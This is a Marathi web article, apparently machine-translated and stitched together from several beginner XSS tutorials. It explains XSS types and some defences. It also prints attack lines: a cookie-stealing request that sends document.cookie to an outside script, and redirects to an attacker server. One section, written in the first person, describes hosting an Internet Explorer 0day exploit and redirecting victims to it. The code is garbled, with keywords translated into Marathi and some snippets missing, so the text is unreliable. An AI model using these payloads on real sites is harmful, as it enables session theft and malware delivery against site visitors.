नवशिक्यांसाठी XSS हल्ल्याचा उद्देश. इझी हॅक: क्रॉस साइट स्क्रिप्टिंग समावेशाद्वारे डेटा कसा काढायचा

मदत करा 16.06.2019

Sophos Plc आणि SophosLabs द्वारे प्रदान केलेला लेख \"सेक्युअरिंग वेबसाइट्स\".

डिसेंबर 2007

या प्रकारचा हल्ला वापरकर्त्याने प्रविष्ट केलेला डेटा प्रदर्शित करणाऱ्या वेबसाइट्सवर आहे. दुर्भावनापूर्ण कोड इंजेक्ट करून डेटाबेसवर नियंत्रण मिळवण्याचा प्रयत्न करण्याऐवजी, आक्रमणकर्ता वेबसाइटच्या कोडवरच दुर्भावनापूर्ण विभाग टाकून त्यावर हल्ला करण्याचा प्रयत्न करतो.

बऱ्याच साइट्स डेटाबेसमध्ये सर्व अभ्यागतांची नावे संग्रहित करतात जेणेकरून संबंधित वापरकर्ते प्रविष्ट करतात तेव्हा ते प्रदर्शित केले जाऊ शकतात. आक्रमणकर्ता नाव फील्डमध्ये दुर्भावनापूर्ण कोड ठेवून बनावट खाते तयार करू शकतो. या प्रकारचे हल्ले सामान्यत: दुर्भावनापूर्ण Javascript स्क्रिप्ट वापरून केले जातात जे नंतर दुसऱ्या वेबसाइटवरून सामग्री डाउनलोड करतात. डेटाबेस वापरकर्तानाव संचयित करणे अपेक्षित आहे, परंतु प्रत्यक्षात या प्रकरणात तो दुर्भावनापूर्ण कोड असेल. त्यानुसार, जर एखाद्या वेबसाइटने पृष्ठाच्या शीर्षस्थानी वापरकर्त्याचे नाव प्रदर्शित केले तर हा कोड कार्यान्वित केला जाईल. असा कोड काही विशिष्ट परिस्थितीत जवळजवळ काहीही करू शकत असल्याने, धोका अगदी वास्तविक बनतो; तथापि, विकासक अनेकदा त्याबद्दल विसरतात. अलीकडे, मायस्पेस, फेसबुक, गुगल मेल आणि व्हीकॉन्टाक्टे यासह अनेक लोकप्रिय वेबसाइट XSS हल्ल्यांच्या बळी ठरल्या आहेत.

नोंद.

खालील PHP कोड विचारात घ्या:

$firstname = $_POST[\"firstname\"]; प्रतिध्वनी \"तुमचे नाव: $firstname\";

आपण वेब फॉर्ममध्ये आपले नाव प्रविष्ट केल्यानंतर, साइट पृष्ठावर संबंधित संदेश प्रदर्शित करते. तुम्ही फॉर्ममध्ये “ख्रिस” नाव टाकल्यास, संदेश यासारखा दिसेल: “तुमचे नाव: ख्रिस”.

नावाऐवजी तुम्ही खालील बांधकाम एंटर केल्यास काय होईल: "सूचना ("तुम्हाला नुकतेच हॅक केले गेले आहे!" );" ?

दुर्दैवाने, XSS हल्ल्यांचा मुकाबला करणे अनेकदा कठीण असते कारण त्यांना इनपुट आणि आउटपुट डेटाचे योग्य फिल्टरिंग आवश्यक असते, तसेच वापरकर्त्यांद्वारे बदलता येणारी कोणतीही फील्ड आवश्यक असते. यामध्ये GET आणि POST विनंत्यांमधून प्राप्त केलेला डेटा तसेच डेटाबेसमधून परत आलेल्या क्वेरींचा समावेश आहे.

PHP मध्ये अनेक पॅकेजेस आहेत जे आउटपुट फिल्टर करण्यास मदत करतात, जसे की PHP मध्ये एक अंगभूत फंक्शन आहे, htmlspecialchars, ज्याचा वापर आउटपुट फिल्टर करण्यासाठी केला जाऊ शकतो.

XSS म्हणजे काय आणि त्यापासून संरक्षण कसे करावे हे प्रत्येकाला फार पूर्वीपासून माहित आहे, म्हणून मी थोडक्यात सांगेन. XSS ही आक्रमणकर्त्याची विशिष्ट मार्गाने (लेखाच्या शेवटी संभाव्य पर्यायांची लिंक पहा) पीडित साइटच्या पृष्ठावर स्क्रिप्ट समाकलित करण्याची क्षमता आहे, ज्याला भेट दिल्यावर कार्यान्वित केले जाईल.

विशेष म्हणजे, या असुरक्षिततेचे वर्णन केलेल्या बहुतेक प्रकरणांमध्ये, आम्ही खालील कोडसह घाबरतो:

http://www.site.com/page.php?var=‹script›alert("xss");

असो हे फार भयानक नाही :) ही असुरक्षा खरोखरच धोकादायक कशी असू शकते?

निष्क्रिय आणि सक्रिय

XSS असुरक्षा दोन प्रकारच्या आहेत - निष्क्रिय आणि सक्रिय.

सक्रिय भेद्यताअधिक धोकादायक आहे, कारण आक्रमणकर्त्याला विशेष लिंक वापरून पीडितेला प्रलोभन देण्याची आवश्यकता नाही, त्याला फक्त डेटाबेसमध्ये किंवा सर्व्हरवरील काही फाइलमध्ये इंजेक्ट करणे आवश्यक आहे; अशा प्रकारे, सर्व साइट अभ्यागत आपोआप बळी होतात. हे एकत्रित केले जाऊ शकते, उदाहरणार्थ, SQL इंजेक्शन वापरून. म्हणून, डेटाबेसमध्ये संचयित केलेल्या डेटावर तुम्ही विश्वास ठेवू नये, जरी ते समाविष्ट करताना प्रक्रिया केली गेली असली तरीही.

उदाहरण निष्क्रिय असुरक्षाआपण लेखाच्या अगदी सुरुवातीला ते पाहू शकता. यासाठी आधीपासूनच सामाजिक अभियांत्रिकी आवश्यक आहे, उदाहरणार्थ, साइट प्रशासनाकडून एक महत्त्वाचे पत्र जे तुम्हाला बॅकअपमधून पुनर्संचयित केल्यानंतर तुमची खाते सेटिंग्ज तपासण्यास सांगते. त्यानुसार, तुम्हाला पीडितेचा पत्ता माहित असणे आवश्यक आहे किंवा एखाद्या फोरमवर स्पॅम मेलिंग किंवा पोस्टची व्यवस्था करणे आवश्यक आहे आणि हे तथ्य नाही की पीडिते भोळे असतील आणि तुमच्या लिंकचे अनुसरण करतील.

शिवाय, POST आणि GET दोन्ही पॅरामीटर्स निष्क्रिय असुरक्षिततेसाठी संवेदनाक्षम असू शकतात. POST पॅरामीटर्ससह, नक्कीच, तुम्हाला युक्त्या वापराव्या लागतील. उदाहरणार्थ, आक्रमणकर्त्याच्या वेबसाइटवरून पुनर्निर्देशन.

document.getElementsByTagName("फॉर्म").सबमिट();

म्हणून, GET भेद्यता थोडी अधिक धोकादायक आहे, कारण... एखाद्या अतिरिक्त पॅरामीटरपेक्षा चुकीचे डोमेन लक्षात घेणे पीडितासाठी सोपे आहे (जरी url सामान्यतः एन्कोड केले जाऊ शकते).

कुकीज चोरणे

हे XSS हल्ल्याचे सर्वात सामान्यपणे उद्धृत केलेले उदाहरण आहे. वेबसाइट्स कधीकधी कुकीजमध्ये काही मौल्यवान माहिती संग्रहित करतात (कधीकधी वापरकर्त्याचे लॉगिन आणि पासवर्ड (किंवा त्याचा हॅश) देखील), परंतु सर्वात धोकादायक म्हणजे सक्रिय सत्राची चोरी, म्हणून वेबसाइटवरील "एक्झिट" लिंकवर क्लिक करण्यास विसरू नका, अगदी जर तो घरगुती संगणक असेल. सुदैवाने, बहुतेक संसाधनांवर सत्राचा आजीवन मर्यादित आहे.

var img = नवीन प्रतिमा(); img.srс = "http://site/xss.php?" + document.cookie;

म्हणूनच त्यांनी XMLHttpRequest वर डोमेन निर्बंध आणले, परंतु आक्रमणकर्त्यासाठी ही समस्या नाही, कारण तेथे आहे, , , पार्श्वभूमी:url(); इ.

फॉर्ममधून डेटा चोरणे

आम्ही फॉर्म शोधतो, उदाहरणार्थ, getElementById आणि ऑन सबमिट इव्हेंटचे निरीक्षण करतो. आता, फॉर्म सबमिट करण्यापूर्वी, प्रविष्ट केलेला डेटा आक्रमणकर्त्याच्या सर्व्हरवर देखील पाठविला जातो.

या प्रकारचा हल्ला काही प्रमाणात फिशिंगची आठवण करून देणारा आहे, फक्त तो बनावट साइटऐवजी वास्तविक साइट वापरतो, ज्यामुळे पीडितावर अधिक विश्वास निर्माण होतो.

DDoS हल्ला (सेवा हल्ल्याचे वितरित नकार)

मोठ्या प्रमाणावर भेट दिलेल्या स्त्रोतांवरील XSS भेद्यता DDoS हल्ला सुरू करण्यासाठी वापरली जाऊ शकते. सार सोपे आहे - अशा अनेक विनंत्या आहेत ज्यांचा हल्ला केलेला सर्व्हर सामना करू शकत नाही.
वास्तविक, XSS चा संबंध अप्रत्यक्ष आहे, कारण स्क्रिप्ट अजिबात वापरल्या जात नाहीत, यासारखे बांधकाम पुरेसे आहे:

क्रॉस-साइट विनंती बनावट (CSRF/XSRF)

तसेच XSS शी अप्रत्यक्षपणे संबंधित आहे. हे प्रत्यक्षात एक स्वतंत्र प्रकारची भेद्यता आहे, परंतु बहुतेकदा XSS च्या संयोगाने वापरली जाते. मुख्य गोष्ट अशी आहे की अभेद्य साइटवर अधिकृत केलेला वापरकर्ता असुरक्षित साइटवर (किंवा आक्रमणकर्त्याच्या विशेष पृष्ठावर) जातो, ज्यावरून विशिष्ट क्रिया करण्यासाठी विनंती पाठविली जाते.

ढोबळमानाने बोलायचे झाले तर आदर्शपणे असेच असावे. वापरकर्त्याने पेमेंट सिस्टममध्ये लॉग इन केले आहे. मग मी हल्लेखोराच्या वेबसाइटवर किंवा XSS असुरक्षा असलेल्या साइटवर गेलो, जिथून आक्रमणकर्त्याच्या खात्यात पैसे हस्तांतरित करण्याची विनंती पाठवली गेली.

म्हणून, बऱ्याच साइट्स, विशिष्ट वापरकर्ता क्रिया करत असताना (उदाहरणार्थ, ई-मेल बदलणे), पासवर्ड विचारतात किंवा आपल्याला पुष्टीकरण कोड प्रविष्ट करण्यास सांगतात.

XSS वर्म्स

या प्रकारचा हल्ला कदाचित VKontakte आणि Twitter सारख्या सोशल नेटवर्क्समुळे दिसून आला. मुद्दा असा आहे की सोशल नेटवर्कच्या अनेक वापरकर्त्यांना XSS भेद्यतेसह एक दुवा पाठविला जातो जेव्हा ते दुव्यावर क्लिक करतात, समाकलित स्क्रिप्ट त्यांच्या वतीने इतर वापरकर्त्यांना संदेश पाठवते. त्याच वेळी, इतर क्रिया केल्या जाऊ शकतात, उदाहरणार्थ, हल्लेखोरांना पीडितांचा वैयक्तिक डेटा पाठवणे.

निरुपद्रवी XSS

विशेष म्हणजे, काउंटर, त्यांच्या स्वभावानुसार, काही प्रकारचे सक्रिय XSS आक्रमण देखील आहेत. तथापि, अभ्यागताबद्दलचा डेटा तृतीय-पक्षाच्या सर्व्हरवर हस्तांतरित केला जातो, जसे की त्याचा IP पत्ता, मॉनिटर रिझोल्यूशन इ. फक्त तुम्ही तुमच्या स्वतःच्या इच्छेनुसार कोड तुमच्या पेजमध्ये समाकलित करता :) एक नजर टाका, उदाहरणार्थ, Google Analytic कोडवर.

  • वर्ग: अवर्गीकृत
  • ,'," आणि इतर अनेक. प्रथम, व्हेरिएबलचे मूल्य ब्राउझरमध्ये लोड केलेल्या HTML पृष्ठावरून पास केले जाते...

    नवशिक्यांसाठी XSS. XSS हल्ल्यांचा उद्देश

    अभिवादन, पोर्टलच्या प्रिय अभ्यागतांनो! माझे नाव DrWeb आहे. मला तुम्हाला XSS हल्ल्यांच्या उद्देशाबद्दल सांगायचे आहे, कारण XSS असुरक्षा कुकीज चोरण्यापेक्षा खूप मोठा धोका आहे. प्रथम गोष्टी प्रथम ...

    सर्वसाधारणपणे XSS बद्दल प्रथम. संक्षेप XSS म्हणजे क्रॉस साइट स्क्रिप्टिंग. याला XSS म्हणण्याची प्रथा आहे, CSS नव्हे, कारण CSS खूप पूर्वी सादर करण्यात आली होती आणि याचा अर्थ कॅस्केडिंग स्टाईल शीट्स - "कॅस्केडिंग स्टाईल शीट्स" (HTML पृष्ठांच्या डिझाइनमध्ये वापरल्या जातात). Сross हा “क्रॉस” आहे, म्हणून “क्रॉस-साइट स्क्रिप्टिंग” मधील पहिले अक्षर “X” ने बदलले आहे.

    XSS ही सर्व्हरवरील एक भेद्यता आहे जी तुम्हाला सर्व्हरवरील स्क्रिप्टद्वारे व्युत्पन्न केलेल्या HTML पृष्ठामध्ये अनियंत्रित कोड एम्बेड करण्याची परवानगी देते (स्क्रिप्टमध्ये नाही, PERL किंवा PHP समावेशाप्रमाणे) अनफिल्टर्ड व्हेरिएबलचे मूल्य म्हणून पास करून. (TRINUX ने लेखांमध्ये या प्रकारच्या हल्ल्याचे चांगले वर्णन केले आहे: http://www.hackzona.ru/hz.php?name=News&file=artiсle&sid=3499&mode=&order=0&thold=0 आणि http://www.hackzona.ru/ hz. php?name=News&file=article&sid=3490&mode=&order=0&thold=0). "अनफिल्टर्ड" व्हेरिएबल हे एक व्हेरिएबल आहे जे स्क्रिप्टमध्ये (उदाहरणार्थ, PHP) वापरण्यापूर्वी बेकायदेशीर वर्ण जसे की ,'," आणि इतर अनेकांसाठी तपासले जात नाही. प्रथम, व्हेरिएबलचे मूल्य वापरकर्त्याच्या ब्राउझरमध्ये लोड केलेल्या HTML पृष्ठावरून PHP स्क्रिप्टवर (POST किंवा GET विनंतीद्वारे) हस्तांतरित केले जाते. POST विनंती ब्राउझर ॲड्रेस बारमध्ये प्रदर्शित नसलेल्या ॲरेद्वारे व्हेरिएबल्स पास करते; GET विनंती ॲड्रेस बारमध्ये याप्रमाणे दिसून येते:

    http://www.hackzona.ru/hz.php?name=News&file=artiсle&sid=3499&mode=&order=0&thold=0

    त्यामुळे, hz.php स्क्रिप्टला खालील व्हेरिएबल्स दिले जातील: $name - "News" मूल्यासह, $file - "लेख" मूल्यासह, $sid - "3499" मूल्यासह... स्वाभाविकच, ते GET विनंत्यांसह कार्य करणे अधिक सोयीस्कर आहे, म्हणून, हॅकर हॅक झालेल्या साइटचे पृष्ठ वाचवतो आणि लाईकमध्ये

    POST GET ने बदलते. पुढे, PHP स्क्रिप्ट, उदाहरणार्थ, एक HTML पृष्ठ व्युत्पन्न करते ज्यामध्ये ते कोणत्याही फिल्टरिंगशिवाय हस्तांतरित व्हेरिएबल्सपैकी एकाचे मूल्य प्रदर्शित करते. पण! आक्रमणकर्त्याने, GET विनंती तयार करताना, नेहमीच्या व्हेरिएबल मूल्याऐवजी काही की टॅग (उदाहरणार्थ, किंवा ) बदलल्यास, ते दुभाष्याद्वारे कार्यान्वित केले जातील!

    असे घडते की बहुतेक संगणक गुंड फक्त कुकीज चोरण्यासाठी XSS चा वापर करतात (कुकीज - बहुतेक प्रकरणांमध्ये ते सत्र संग्रहित करतात, त्याचे विनियोग करून, आक्रमणकर्ता साइटवर दुसऱ्या कोणाच्या तरी खात्याखाली असू शकतो, उदाहरणार्थ, फोरममध्ये जेथे नोंदणी आहे ते एक कूटबद्ध पासवर्ड देखील संग्रहित करतात, जे डिक्रिप्ट करून, धमकावणारा 100% खाते ताब्यात घेण्यास सक्षम असेल). परंतु XSS बग कुकी चोरीपुरते मर्यादित नाहीत.

    वास्तविक, पंचलाइन परिच्छेद :).

    XSS असुरक्षा आम्हाला काय करण्याची परवानगी देतात?

    1) साइटवरील सामान्य क्रियाकलापांपासून वापरकर्त्यांना प्रतिबंधित करण्याशी संबंधित सर्व प्रकारच्या युक्त्या. उदाहरणार्थ, काही वापरकर्त्याच्या कृतीचा परिणाम म्हणून (खालील उदाहरण) किंवा संदेश (पुष्टी किंवा इशारा पद्धत) अनंत संख्या प्रदर्शित करणे (क्लिक करणे, ऑब्जेक्टवर माउस फिरवणे, फक्त साइटला भेट देणे). किंवा दुसर्या नोडवर पुनर्निर्देशन. हा कोड (बदल न करता) असुरक्षित साइटवर इंजेक्ट करण्याचा प्रयत्न करा:

    window.location.href=\"http://hackzona.ru\»

    तसेच, प्रथम तुमच्या संगणकावर चाचणी केल्यानंतर, खालील स्क्रिप्ट वापरून पहा. खालील सामग्रीसह फाइल 1.html तयार करा:

    (i=1;i]0;i++)(ओरेन(\'1.html\',\'new\'+i);) साठी

    आणि कोणत्याही ब्राउझरमध्ये उघडा.

    2) गोपनीय अभ्यागत माहितीची चोरी. सर्व प्रथम, मी कुकीजची चोरी (document.cookie) वापरकर्त्याच्या सुरक्षेचा सर्वात महत्वाचा गुणधर्म (या विभागात) समाविष्ट करेन. या विभागात वापरकर्त्याची प्रणाली आणि ब्राउझर (नेव्हिगेटर ऑब्जेक्ट), वर्तमान वेळ, IP पत्ता, तसेच भेट दिलेल्या साइट्सचा इतिहास (ॲरे म्हणून इतिहास ऑब्जेक्ट; वर्तमान इतिहास पृष्ठ, मागील इतिहास[-1] बद्दल माहितीची चोरी देखील समाविष्ट आहे. , एकूण इतिहासाची पाने) आणि बरेच काही. येथे एका स्क्रिप्टचे उदाहरण आहे जे अभ्यागताचा IP पत्ता IP व्हेरिएबल आणि संगणकाचे नाव होस्ट व्हेरिएबलला परत करते (Opera, Mozilla, Mizilla Firefox मध्ये चाचणी केली आहे):

    myAddress=java.net.InetAddress.getLoсalHost();

    myAddress2=java.net.InetAddress.getLoсalHost();

    host=myAddress.getHostName();

    ip=myAddress2.getHostAddress();

    3) CGI, PERL, PHP, ASP स्क्रिप्ट करू शकतील असे सर्व काही. आणि हे सर्व जेएस करू शकते + खूप छान छोट्या गोष्टी. म्हणजेच गोपनीय माहिती चोरण्याचा हा दुसरा मार्ग आहे. हे अधिक सोयीस्कर आहे, कारण ... तुम्हाला सर्व कोड HTML पृष्ठामध्ये की व्हेरिएबलद्वारे एम्बेड करण्याची गरज नाही, परंतु स्क्रिप्टची फक्त एक दुवा; शिवाय, या स्किप्सना अधिक संधी आहेत. नकारात्मक बाजू अशी आहे की ही एक अधिक सदोष (अतार्किकपणे वापरली असल्यास) आणि अचल पद्धत आहे, विशेषत: कारण पीडित व्यक्ती कसा तरी अवांछित डाउनलोड शोधू शकतो. उदाहरणार्थ, तुम्ही खालील कोड HTML पृष्ठावर लागू करता:

    window.location.href=\"http://hackzona.ru/haсkerssсriрt.php\»

    येथे hackzona.ru हा हॅकरचा सर्व्हर आहे आणि haskerssсriрt.php ही हॅकरची स्क्रिप्ट आहे जी काही विशिष्ट क्रिया करते. हॅक केलेल्या पृष्ठास भेट दिल्यानंतर, पीडितेला http://hackzona.ru/haсkerssсriрt.php स्क्रिप्टवर पुनर्निर्देशित केले जाते, जे त्याचे कार्य करेल (जर पीडितेने डाउनलोडमध्ये व्यत्यय आणला नाही). स्वाभाविकच, window.location.href पेक्षा स्क्रिप्ट लोड करण्याचे कमी घाणेरडे मार्ग आहेत; मी फक्त ते स्पष्ट करण्यासाठी आणले आहे.

    4) ब्राउझर क्षमता मानकांद्वारे प्रदान केल्या जात नाहीत. ब्राउझरच्या अनेक असुरक्षा आहेत ज्या कोणत्याही कोडवर प्रक्रिया करताना, एकतर DoS कारणीभूत ठरतात, किंवा विशिष्ट फाइल्समध्ये प्रवेश प्रदान करतात, किंवा वापरकर्त्याच्या सिस्टमवर अनियंत्रित कोड अंमलात आणण्याची परवानगी देतात, किंवा इतर काहीतरी जे वापरकर्त्यासाठी खूप आनंददायी नसते. अनेक सुप्रसिद्ध आणि वारंवार वापरले जाणारे ब्राउझर (इंटरनेट एक्सप्लोरर, नेटकेअर, मोझिला, मोझिला फायरफॉक्स, ऑपेरा आणि त्यांच्या इंजिनवर तयार केलेली प्रत्येक गोष्ट) असुरक्षित आहेत. फक्त त्यांच्या काही आवृत्त्या किंवा पॅच केलेले ब्राउझर अभेद्य आहेत. अगदी अलीकडे (लेखनाच्या वेळी), बेंजामिन टोबियास फ्रांझ यांनी इंटरनेट एक्सप्लोरर ब्राउझर (v5.5, 6.0) मध्ये एक गंभीर भेद्यता शोधली, जी वापरकर्त्याच्या सिस्टमवर अनियंत्रित कोड कार्यान्वित करण्यास अनुमती देते. XSS असुरक्षा असलेल्या साइटला भेट दिलेल्या वापरकर्त्यावर तुम्ही अनियंत्रित कोड कसे कार्यान्वित करू शकता? स्टुअर्ट व्यक्तीने लिहिलेले शोषण अपलोड करूया (तुम्ही ते येथून मिळवू शकता: myphp4.h15.ru/0day-explorer.rar किंवा securitylab.ru साइटवरून), चार htm आणि एक html फाइल असलेली, आमच्या सर्व्हरवर. उदाहरणार्थ, कूलहॅकर. आम्ही असुरक्षित साइटवर खालील कोड लागू करू

    window.location.href=\"http://coolhaсker.yo/0day.html\"

    आता, पीडितेने, आम्ही कोड एम्बेड केलेल्या सर्व्हर पृष्ठास भेट दिल्यानंतर, शोषण पृष्ठ http://coolhaсker.yo/0day.html वर पुनर्निर्देशित केले जाते, जे अनियंत्रित कोड कार्यान्वित करेल (आमच्या बाबतीत, ते कॅल्क लॉन्च करेल. .exe).

XSS (क्रॉस-साइट स्क्रिप्टिंग) हा वेब सिस्टमवरील हल्ल्यांचा एक प्रकार आहे, ज्यामध्ये साइटच्या विशिष्ट पृष्ठामध्ये दुर्भावनापूर्ण कोडचे इंजेक्शन आणि वापरकर्त्याने पृष्ठ उघडल्यावर आक्रमणकर्त्यांच्या रिमोट सर्व्हरसह या कोडचा परस्परसंवाद समाविष्ट असतो. .

इंग्रजीतील शब्दाचा अर्थ क्रॉस-साइट स्क्रिप्टिंग आहे, परंतु त्याच वेळी CSS (कॅस्केडिंग स्टाइल शीट्स) सह गोंधळ टाळण्यासाठी XSS हे संक्षेप प्राप्त झाले.

क्रॉस-साइट स्क्रिप्टिंग कसे कार्य करते

क्रॉस-साइट स्क्रिप्टिंगचे मुख्य उद्दिष्ट सर्व्हरमध्ये तयार केलेल्या स्क्रिप्टचा वापर करून आवश्यक डेटाचे पुढील नमुने घेऊन वापरकर्त्याच्या कुकीज चोरणे आणि त्यानंतरच्या हल्ल्यांसाठी आणि हॅकसाठी वापरणे हे आहे. हल्लेखोर थेट वापरकर्त्यांवर हल्ला करत नाही, परंतु पीडित ज्या वेबसाइटला भेट देतात आणि विशेष JavaScript इंजेक्ट करतात त्या वेबसाइटमधील भेद्यता वापरतात. वापरकर्त्याच्या ब्राउझरमध्ये, हा कोड साइटचा एक भाग म्हणून प्रदर्शित केला जातो. या प्रकरणात, भेट दिलेले संसाधन खरेतर XSS हल्ल्याचे साथीदार आहे.

SQL इंजेक्शनच्या तुलनेत, XSS सर्व्हरसाठी सुरक्षित आहे, परंतु संक्रमित स्त्रोत किंवा पृष्ठाच्या वापरकर्त्यांसाठी धोका आहे. तथापि, आक्रमणकर्त्याने प्रशासकाच्या कुकीज पकडल्यास, ते साइटच्या नियंत्रण पॅनेलमध्ये आणि त्यातील सामग्रीमध्ये प्रवेश मिळवू शकतात.

XSS हल्ला तंत्र

दुर्भावनापूर्ण JavaScript कोड चालवणे केवळ पीडिताच्या ब्राउझरमध्ये शक्य आहे, म्हणून वापरकर्त्याने भेट दिलेल्या साइटवर XSS भेद्यता असणे आवश्यक आहे. हल्ला करण्यासाठी, आक्रमणकर्ता सुरुवातीला स्वयंचलित स्क्रिप्ट किंवा मॅन्युअल शोध वापरून XSS द्वारे असुरक्षिततेसाठी संसाधने तपासतो. हे सहसा मानक फॉर्म असतात जे विनंत्या पाठवू आणि प्राप्त करू शकतात (टिप्पण्या, शोध, अभिप्राय).

इनपुट फॉर्मसह पृष्ठांचा संपूर्ण संग्रह केला जातो आणि प्रत्येक असुरक्षिततेसाठी स्कॅन केला जातो. उदाहरणार्थ, आमच्याकडे वेबसाइटवर "शोध" पृष्ठ आहे. XSS भेद्यता तपासण्यासाठी, फक्त खालील क्वेरी प्रविष्ट करा:

तुमच्या स्क्रीनवर सूचना दिसत असल्यास, याचा अर्थ तुम्हाला सुरक्षा दोष आढळला आहे. अन्यथा, सिस्टम तुम्हाला शोध परिणाम पृष्ठ प्रदर्शित करेल. मुख्य लोकप्रिय CMSs बर्याच काळापासून अशा समस्यांपासून मुक्त आहेत, परंतु तृतीय-पक्ष विकासकांनी तयार केलेल्या मॉड्यूल्स आणि प्लगइन्सद्वारे कार्यक्षमतेचा विस्तार करण्याच्या शक्यतेमुळे, XSS भेद्यतेचे शोषण करण्याची शक्यता लक्षणीय वाढते, विशेषत: Joomla, DLE, Bitrix, Wordpress मध्ये. बर्याचदा, XSS भेद्यता इंटरनेट एक्सप्लोरर ब्राउझरमध्ये तपासल्या जातात.

GET विनंत्या हाताळणारी पृष्ठे वापरणे हा दुसरा संभाव्य शोध पर्याय आहे. समजा आमच्याकडे एक लिंक आहे जसे: http://site.ru/catalog?p=8

ॲड्रेस बारमध्ये, आयडेंटिफायर (8) ऐवजी, आम्ही स्क्रिप्ट - ">अलर्ट("कुकी:"+document.cookie) जोडतो, परिणामी यासारखी लिंक मिळते: http://site.ru/catalog?p = ">सूचना("कुकी:"+document.cookie) .

एखाद्या पृष्ठावर XSS भेद्यता असल्यास, पहिल्या प्रकरणाप्रमाणेच एक सूचना स्क्रीनवर दिसून येईल.

वेबसाइटवर "छिद्र" शोधण्यासाठी मोठ्या संख्येने तयार स्क्रिप्ट्स आणि क्वेरी आहेत आणि त्यापैकी एकही योग्य नसल्यास, संसाधन अशा हल्ल्यांपासून विश्वसनीयरित्या संरक्षित आहे.

XSS चे सामान्य वर्गीकरण

क्रॉस-साइट स्क्रिप्टिंगसाठी कोणतेही स्पष्ट वर्गीकरण नाही, परंतु जगभरातील तज्ञांनी तीन मुख्य प्रकार ओळखले आहेत.

संग्रहित XSS (सतत). भेद्यतेच्या सर्वात धोकादायक प्रकारांपैकी एक, कारण ते आक्रमणकर्त्यास सर्व्हरवर प्रवेश मिळवू देते आणि त्यातून दुर्भावनापूर्ण कोड व्यवस्थापित करू देते (काढा, सुधारित करा). प्रत्येक वेळी तुम्ही साइटवर प्रवेश करता तेव्हा, एक पूर्व-लोड केलेला कोड कार्यान्वित केला जातो जो स्वयंचलितपणे कार्य करतो. बहुधा, फोरम, पोर्टल आणि ब्लॉग, जेथे HTML मध्ये निर्बंधांशिवाय टिप्पणी करण्याची क्षमता आहे, अशा असुरक्षिततेसाठी संवेदनाक्षम असतात. दुर्भावनायुक्त स्क्रिप्ट सहजपणे मजकूर आणि चित्रे आणि रेखाचित्रांमध्ये एम्बेड केल्या जाऊ शकतात.

परावर्तित XSS (नॉन-पर्सिस्टंट) . या प्रकरणात, दुर्भावनायुक्त स्ट्रिंग पीडिताकडून संक्रमित वेबसाइटवर विनंती म्हणून कार्य करते. हे तत्त्व खालील योजनेनुसार कार्य करते:

  • हल्लेखोर आगाऊ एक URL लिंक तयार करतो ज्यामध्ये दुर्भावनायुक्त कोड असेल आणि तो त्याच्या बळीला पाठवतो.
  • ती ही URL विनंती साइटवर फॉरवर्ड करते (लिंक फॉलो करते).
  • साइट आपोआप दुर्भावनापूर्ण स्ट्रिंगमधून डेटा घेते आणि पीडितासाठी सुधारित URL प्रतिसादाच्या स्वरूपात बदलते.
  • परिणामी, पीडिताच्या ब्राउझरमध्ये दुर्भावनायुक्त स्क्रिप्ट कार्यान्वित केली जाते, जी प्रतिसादात समाविष्ट आहे आणि आक्रमणकर्त्याला या वापरकर्त्याच्या सर्व कुकीज प्राप्त होतात.
  • DOM मॉडेल. हा पर्याय संग्रहित आणि परावर्तित XSS दोन्ही वापरण्याची परवानगी देतो. तळ ओळ अशी आहे:

  • आक्रमणकर्ता आगाऊ एक URL तयार करतो ज्यामध्ये दुर्भावनापूर्ण कोड असतो आणि तो ईमेल किंवा इतर कोणत्याही पद्धतीद्वारे वापरकर्त्याला पाठवतो.
  • एखादी व्यक्ती या लिंकवर क्लिक करते, संक्रमित साइट दुर्भावनायुक्त स्ट्रिंग वगळून विनंती स्वीकारते.
  • वापरकर्त्याच्या पृष्ठावर एक स्क्रिप्ट कार्यान्वित केली जाते, परिणामी एक दुर्भावनापूर्ण स्क्रिप्ट लोड केली जाते आणि आक्रमणकर्त्याला कुकीज प्राप्त होतात.
  • संवाद पद्धतीनुसार XSS चे प्रकार

    पीडिताच्या संगणकावर दुर्भावनापूर्ण स्क्रिप्ट चालवणे हे आक्रमणकर्त्याचे मुख्य लक्ष्य असल्याने, परस्परसंवादाच्या पद्धतीवर आधारित XSS हल्ल्यांचे दोन मुख्य प्रकार देखील आहेत.

    निष्क्रीय. इव्हेंट हँडलरला कॉल करण्यासाठी आणि इच्छित स्वरूपात दुर्भावनापूर्ण स्क्रिप्ट चालविण्यासाठी पीडिताकडून विशिष्ट कृती आवश्यक आहे. यामध्ये सामाजिक अभियांत्रिकीचा वापर समाविष्ट आहे, जसे की लोकांना दुव्याचे अनुसरण करण्यास आणि साइटवरील विशिष्ट क्षेत्रावर क्लिक करण्यास प्रोत्साहित करणारा ईमेल पाठवणे. वापरकर्त्याने इच्छित ऑब्जेक्टकडे निर्देश केल्यावर आणि त्यावर क्लिक करताच, दुर्भावनायुक्त स्क्रिप्ट लॉन्च होईल. पीडित व्यक्ती निष्क्रिय असल्यास, कोड सक्रिय केला जाणार नाही.

    सक्रिय. आक्रमणकर्त्याला विशेष दुवे वापरून पीडितेला आमिष दाखवण्याची गरज नाही, कारण कोड डेटाबेसमध्ये किंवा सर्व्हरवरील काही एक्झिक्युटेबल फाइलमध्ये एम्बेड केलेला आहे. वापरकर्ता क्रियाकलाप आवश्यक नाही. इनपुट फॉर्ममध्ये, नियमानुसार, एक विशेष इव्हेंट हँडलर स्थापित केलेला असतो जो आपण या पृष्ठावर उतरल्यावर स्वयंचलितपणे सक्रिय होतो. परिणामी, या दुव्याचे अनुसरण करणारे सर्व वापरकर्ते आक्रमणकर्त्याचे बळी होतील.

    XSS भेद्यतेसाठी तुमची वेबसाइट कशी तपासावी आणि तिचे संरक्षण कसे करावे

    XSS भेद्यतेसाठी साइट द्रुतपणे तपासण्यासाठी, आपण विशेष सेवा वापरू शकता जे पृष्ठ स्वयंचलितपणे स्कॅन करतील. सर्व URL तपासणे अत्यावश्यक आहे जेथे वापरकर्ता डेटा सबमिट करू शकतो (टिप्पणी फॉर्म, फीडबॅक, शोध). तुम्ही उदाहरण म्हणून http://xss-scanner.com वापरू शकता, परंतु तुम्ही स्वतःला फक्त एका साधनापुरते मर्यादित करू नये.

    अशा सेवा यशाची पूर्ण हमी देत ​​नाहीत, म्हणून आम्ही शिफारस करतो की तुम्ही सापडलेली पृष्ठे व्यक्तिचलितपणे तपासा आणि सर्व धोकादायक विशेष वर्ण वगळण्याची खात्री करा आणि त्यांची जागा सुरक्षित ठेवा. हे कंस बद्दल आहे< и >, ज्यामध्ये भाषेद्वारे आरक्षित सर्व html क्वेरी आणि टॅग लिहिलेले आहेत.

